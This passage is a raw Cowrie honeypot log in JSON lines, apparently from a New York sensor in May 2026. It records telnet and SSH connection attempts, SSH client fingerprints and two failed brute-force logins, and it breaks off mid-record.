{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":60916,"dst_ip":"159.203.135.109","dst_port":23,"session":"9908a59b8d9a","protocol":"telnet","message":"New connection: 185.207.250.135:60916 (159.203.135.109:23) [session: 9908a59b8d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:38.981375Z"}
{"eventid":"cowrie.session.closed","duration":31.415782928466797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:40.381846Z","src_ip":"114.23.51.89","session":"9ff8c9eb3777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53386,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad380014abba","protocol":"telnet","message":"New connection: 114.23.51.89:53386 (159.203.135.109:23) [session: ad380014abba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:40.612938Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53390,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b559f6e6623","protocol":"telnet","message":"New connection: 114.23.51.89:53390 (159.203.135.109:23) [session: 9b559f6e6623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:42.579072Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53398,"dst_ip":"159.203.135.109","dst_port":23,"session":"86b67a9755bf","protocol":"telnet","message":"New connection: 114.23.51.89:53398 (159.203.135.109:23) [session: 86b67a9755bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:43.146063Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36196,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6289a8a8fc","protocol":"telnet","message":"New connection: 23.254.167.244:36196 (159.203.135.109:23) [session: 5b6289a8a8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:44.323913Z"}
{"eventid":"cowrie.session.closed","duration":31.033117055892944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:44.578113Z","src_ip":"185.207.250.135","session":"0c4995bb8a72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53406,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0f7113d6aab","protocol":"telnet","message":"New connection: 114.23.51.89:53406 (159.203.135.109:23) [session: c0f7113d6aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:44.651303Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47408,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1b3c682280a","protocol":"telnet","message":"New connection: 209.159.146.115:47408 (159.203.135.109:23) [session: a1b3c682280a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:45.823614Z"}
{"eventid":"cowrie.session.closed","duration":35.08836889266968,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:46.334986Z","src_ip":"23.254.167.244","session":"6b997b87667a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38502,"dst_ip":"159.203.135.109","dst_port":23,"session":"88be4b9a78f6","protocol":"telnet","message":"New connection: 23.254.167.244:38502 (159.203.135.109:23) [session: 88be4b9a78f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:46.615323Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53414,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd9b5757e5f3","protocol":"telnet","message":"New connection: 114.23.51.89:53414 (159.203.135.109:23) [session: fd9b5757e5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:46.841801Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":42988,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b669b7d1882","protocol":"telnet","message":"New connection: 185.207.250.135:42988 (159.203.135.109:23) [session: 8b669b7d1882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:47.345466Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":47992,"dst_ip":"159.203.135.109","dst_port":23,"session":"4384e2407526","protocol":"telnet","message":"New connection: 114.23.51.89:47992 (159.203.135.109:23) [session: 4384e2407526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:47.845164Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48008,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f12f1a29694","protocol":"telnet","message":"New connection: 114.23.51.89:48008 (159.203.135.109:23) [session: 5f12f1a29694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:48.148528Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48028,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1992046714","protocol":"telnet","message":"New connection: 114.23.51.89:48028 (159.203.135.109:23) [session: 5c1992046714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:49.139232Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48022,"dst_ip":"159.203.135.109","dst_port":23,"session":"c59ef5975ac8","protocol":"telnet","message":"New connection: 114.23.51.89:48022 (159.203.135.109:23) [session: c59ef5975ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:49.252975Z"}
{"eventid":"cowrie.session.closed","duration":37.49646711349487,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:49.408683Z","src_ip":"23.254.167.244","session":"ab85d8b4d555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33232569694519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:50.232055Z","src_ip":"114.23.51.89","session":"50ade073dbec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48042,"dst_ip":"159.203.135.109","dst_port":23,"session":"0050059c741f","protocol":"telnet","message":"New connection: 114.23.51.89:48042 (159.203.135.109:23) [session: 0050059c741f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:50.420937Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43600,"dst_ip":"159.203.135.109","dst_port":23,"session":"969c86c742db","protocol":"telnet","message":"New connection: 23.254.167.244:43600 (159.203.135.109:23) [session: 969c86c742db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:50.895169Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48046,"dst_ip":"159.203.135.109","dst_port":23,"session":"96306dc1748b","protocol":"telnet","message":"New connection: 114.23.51.89:48046 (159.203.135.109:23) [session: 96306dc1748b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:51.027675Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48052,"dst_ip":"159.203.135.109","dst_port":23,"session":"243cf90fc2ca","protocol":"telnet","message":"New connection: 114.23.51.89:48052 (159.203.135.109:23) [session: 243cf90fc2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:51.262019Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48064,"dst_ip":"159.203.135.109","dst_port":23,"session":"a61e4f8d909b","protocol":"telnet","message":"New connection: 114.23.51.89:48064 (159.203.135.109:23) [session: a61e4f8d909b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:51.808544Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48070,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe568daf47e","protocol":"telnet","message":"New connection: 114.23.51.89:48070 (159.203.135.109:23) [session: bfe568daf47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:53.304889Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46052,"dst_ip":"159.203.135.109","dst_port":23,"session":"453310221aab","protocol":"telnet","message":"New connection: 23.254.167.244:46052 (159.203.135.109:23) [session: 453310221aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:53.444006Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45684,"dst_ip":"159.203.135.109","dst_port":22,"session":"238f4c277917","protocol":"ssh","message":"New connection: 159.203.92.129:45684 (159.203.135.109:22) [session: 238f4c277917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:54.513382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:54.517265Z","src_ip":"159.203.92.129","session":"238f4c277917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:54.520736Z","src_ip":"159.203.92.129","session":"238f4c277917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"111","message":"login attempt [anna/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:54.531753Z","src_ip":"159.203.92.129","session":"238f4c277917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.526957273483276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:55.189251Z","src_ip":"114.23.51.89","session":"f2d225d099ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:55.538237Z","src_ip":"159.203.92.129","session":"238f4c277917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.04885292053223,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:56.119975Z","src_ip":"23.254.167.244","session":"b10ccdc69348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49332,"dst_ip":"159.203.135.109","dst_port":23,"session":"25583384e264","protocol":"telnet","message":"New connection: 185.26.126.47:49332 (159.203.135.109:23) [session: 25583384e264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:56.257475Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49382,"dst_ip":"159.203.135.109","dst_port":23,"session":"211159cf7478","protocol":"telnet","message":"New connection: 185.26.126.47:49382 (159.203.135.109:23) [session: 211159cf7478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:56.287453Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":39762,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeddabd6b42b","protocol":"ssh","message":"New connection: 20.244.18.126:39762 (10.17.0.5:22) [session: eeddabd6b42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:57.186972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:57.191187Z","src_ip":"20.244.18.126","session":"eeddabd6b42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:57.378025Z","src_ip":"20.244.18.126","session":"eeddabd6b42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":33968,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab193cab5aa","protocol":"telnet","message":"New connection: 114.23.51.89:33968 (159.203.135.109:23) [session: 8ab193cab5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:58.017126Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwedcxzas","message":"login attempt [ubuntu/qwedcxzas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:58.158586Z","src_ip":"20.244.18.126","session":"eeddabd6b42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:59.349443Z","src_ip":"20.244.18.126","session":"eeddabd6b42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":57456,"dst_ip":"159.203.135.109","dst_port":23,"session":"79ab438755ab","protocol":"telnet","message":"New connection: 185.207.250.135:57456 (159.203.135.109:23) [session: 79ab438755ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:59.663408Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":58658,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bb14579c079","protocol":"telnet","message":"New connection: 185.207.250.135:58658 (159.203.135.109:23) [session: 7bb14579c079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:00.340976Z"}
{"eventid":"cowrie.session.closed","duration":38.566654443740845,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:00.760991Z","src_ip":"185.26.126.47","session":"bd195f231e8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56936,"dst_ip":"159.203.135.109","dst_port":23,"session":"287351409f84","protocol":"telnet","message":"New connection: 23.254.167.244:56936 (159.203.135.109:23) [session: 287351409f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:01.406585Z"}
{"eventid":"cowrie.session.closed","duration":31.713899850845337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:03.683202Z","src_ip":"114.23.51.89","session":"3aaf277136f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":33984,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a8ec9a7581f","protocol":"telnet","message":"New connection: 114.23.51.89:33984 (159.203.135.109:23) [session: 3a8ec9a7581f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:03.774692Z"}
{"eventid":"cowrie.session.closed","duration":30.839423894882202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:04.247308Z","src_ip":"185.207.250.135","session":"19d6f6d86369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.241275310516357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:04.252838Z","src_ip":"185.207.250.135","session":"82831521a375","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.411535501480103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:05.272461Z","src_ip":"185.207.250.135","session":"6de85b688d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668854236602783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:05.507149Z","src_ip":"114.23.51.89","session":"f3803bd85e29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.529061317443848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:06.016864Z","src_ip":"185.207.250.135","session":"bc6cf8d9e67a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":36726,"dst_ip":"159.203.135.109","dst_port":23,"session":"12ef7c60ac8f","protocol":"telnet","message":"New connection: 185.207.250.135:36726 (159.203.135.109:23) [session: 12ef7c60ac8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:06.375956Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.211.239.204","src_port":55714,"dst_ip":"10.17.0.5","dst_port":23,"session":"f14a961440cd","protocol":"telnet","message":"New connection: 115.211.239.204:55714 (10.17.0.5:23) [session: f14a961440cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:07.353062Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":40666,"dst_ip":"159.203.135.109","dst_port":23,"session":"1619aa64ae59","protocol":"telnet","message":"New connection: 185.207.250.135:40666 (159.203.135.109:23) [session: 1619aa64ae59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:10.096457Z"}
{"eventid":"cowrie.session.closed","duration":31.384430646896362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:10.365723Z","src_ip":"185.207.250.135","session":"9908a59b8d9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39818,"dst_ip":"159.203.135.109","dst_port":23,"session":"38d1eeb27732","protocol":"telnet","message":"New connection: 23.254.167.244:39818 (159.203.135.109:23) [session: 38d1eeb27732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:11.107286Z"}
{"eventid":"cowrie.session.closed","duration":30.947497129440308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:11.560272Z","src_ip":"114.23.51.89","session":"ad380014abba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40688,"dst_ip":"159.203.135.109","dst_port":23,"session":"f71f46159452","protocol":"telnet","message":"New connection: 114.23.51.89:40688 (159.203.135.109:23) [session: f71f46159452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:11.810001Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":42844,"dst_ip":"159.203.135.109","dst_port":23,"session":"38e6d96c3eda","protocol":"telnet","message":"New connection: 185.207.250.135:42844 (159.203.135.109:23) [session: 38e6d96c3eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:12.182699Z"}
{"eventid":"cowrie.session.closed","duration":30.97352409362793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:13.552480Z","src_ip":"114.23.51.89","session":"9b559f6e6623","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":56546,"dst_ip":"159.203.135.109","dst_port":22,"session":"42411537470c","protocol":"ssh","message":"New connection: 157.66.34.121:56546 (159.203.135.109:22) [session: 42411537470c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:13.712864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:13.717311Z","src_ip":"157.66.34.121","session":"42411537470c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40718,"dst_ip":"159.203.135.109","dst_port":23,"session":"abf52a353edb","protocol":"telnet","message":"New connection: 114.23.51.89:40718 (159.203.135.109:23) [session: abf52a353edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:13.796205Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[